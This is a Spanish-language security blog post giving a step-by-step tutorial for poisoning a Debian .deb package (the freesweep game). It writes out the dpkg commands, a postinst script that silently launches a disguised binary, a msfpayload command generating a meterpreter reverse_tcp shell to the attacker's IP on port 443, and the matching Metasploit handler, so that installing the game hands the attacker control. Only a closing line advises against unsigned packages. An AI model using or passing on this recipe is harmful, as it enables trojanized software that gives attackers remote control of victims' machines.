Blog

Envenenando .deb = OWNED!

Buenas chic@s! Hoy, como primer aportación a HighSec por mi parte, os traigo un método para haceros con el control de un sistema operativo Linux basado en paquetería .deb (Por ejemplo: Debian, Ubuntu y todos sus derivados, que no son pocos jajaja).
Para empezar vamos descargar algún paquete .deb, yo voy a descargar algún juego (freesweep) por el hecho de que cuando la víctima lo abra estará un tiempo jugando, lo cual nos dará tiempo para saltar de proceso y ocultarnos así un poco. Para descargar el paquete podemos buscarlo por internet o ejecutar el comando:

“sudo apt-get –download-only install tupaquete”

1

Una vez tengamos el paquete .deb descargado vamos a crear un directorio donde trabajar por ejemplo en “/tmp/prueba” y, acto seguido, movemos el paquete a este directorio que hemos creado.

Para envenenar nuestro paquete, primero debemos extraer el contenido de nuestro .deb en una nueva carpeta dentro de nuestro nuevo directorio a el cual llamaremos “hack” y también crear un directorio “DEBIAN”; Para ello ejecutamos la siguiente orden:

“sudo dpkg -x tupaquete.deb hack && mkdir hack/DEBIAN”

Ahora, tenemos que crear dos archivos en la carpeta “DEBIAN” , uno que se debe llamar “control” y otro “postinst” ; el primero es para decir de que paquete se trata y dar una descripción del mismo y el segundo para dar permisos a los archivos ejecutables del paquete. El contenido de “control” tiene que ser parecido al siguiente:

Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where one tries to find
all the mines without igniting any, based on hints given by the computer. Unlike most
implementations of this game, Freesweep works in any visual text display – in Linux
console, in an xterm, and in most text-based terminals currently in use.

Y el del archivo “postinst”:

#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores &
/usr/games/freesweep &

Guardamos los dos archivos y procedemos a crear el payload que se ejecutará en el equipo de la victima:

“msfpayload linux/x86/meterpreter/reverse_tcp LHOST= IP LPORT=443 X > /tmp/prueba/hack/usr/games/freesweep_scores”

Nota: La variable IP debe ser o nuestra IP interna si la víctima está dentro de nuestra red local o nuestra externa si está fuera,
en este ultimo caso habría que hacer un portforwarding en el router que apuntase al puerto 443 de nuestro equipo.

2

Ahora toca empezar a rehacer el paquete .deb; para ello, lo primero sera darle privilegios a “postinst” ejecutando “chmod 755 /tmp/prueba/hack/DEBIAN/postinst” y por ultimo crear el paquete mediante la orden:

“sudo dpkg-deb –build /tmp/prueba/hack”

Dando como resultado el nuevo paquete “hack.deb” .

El siguiente pasó será poner nuestro metasploit a la escucha de conexiones. Para ello ejecutamos:

“msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST= IP LPORT=443 E”

Nota: Lo mismo de antes para esta variable IP (externa o interna).

3

Gracias a esto, en cuanto la víctima instale el .deb o ejecute la aplicación que ha instalado se nos abrirá la sesión Meterpreter dándonos control del sistema y OWNED!

4

Para finalizar una simple recomendación: No aceptéis paquetes no firmados, Si el sistema se queja es por algo.

Eso es todo por esta semana. Gracias a Roberto y Eduardo por esta oportunidad.

Un Saludo!

Autor: Salva Corts

@SalvaCorts

Leave a Reply

*

    No Twitter Messages